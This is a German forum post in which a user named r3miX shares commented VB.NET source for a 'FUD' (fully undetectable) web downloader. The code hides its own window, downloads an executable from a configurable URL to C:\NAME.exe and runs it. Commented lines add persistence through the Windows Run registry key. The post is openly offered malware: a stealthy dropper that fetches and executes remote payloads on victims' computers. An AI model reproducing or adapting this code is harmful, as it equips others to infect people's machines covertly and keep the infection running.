Hallo zusammen,
hier mein FUD Webdownloader, by r3miX
Alles durchkommentiert und übersichtlich gestaltet
FUD Webdownloader Source:
Code
'~Falls ihr den Registryeintrag wählt, müsst ihr das noch "importieren" ;)
'##Code Anfang##
'Imports Microsoft.Win32
'##Code Ende##
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0% '~Form unsichtbar machen.
Me.ShowInTaskbar = False '~Form vor der Taskleiste unsichtbar machen.
Dim uL As String = TextBox1.Text '~Url festlegen(in textbox).
Dim dL As System.Net.WebClient = New System.Net.WebClient
Dim dat As String = uL '~Url wird vereinfacht(unnötig).
Dim nam As String = "C:\NAME.exe" '~Pfad + Name -> Speicherort.
dL.DownloadFile(dat, nam) '~Download wird durchgefüh
System.Threading.Thread.Sleep(1000)
Process.Start("C:\NAME.exe") '~.exe wird gestartet.
System.Threading.Thread.Sleep(1000) '~Warten, bis exe geloaded ist
Me.Close() 'Form schlieÃ?en -> Download erfolgreich :)
'~Natürlich könnte man die .exe erst in die Registry eintragen, und die .exe
'~erst beim Reboot starten lassen ;)
'~Das würde dann so gehen:
'##Code Anfang##
'Dim RegKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
'RegKey.SetValue("PROGRAMM", "PFAD ZUM PROGRAMM)
'RegKey.Close()
'##Code Ende##
'~Natürlich ohne die '-Teile.
'by R3MiX :)
'codesoft.cc
End Sub
End Class
Alles anzeigen
Originallink: http://board.codesoft.cc/showthread.php?t=2883
Und ja, ich r3miX x.x (L1ght1 kann es bestätigen!)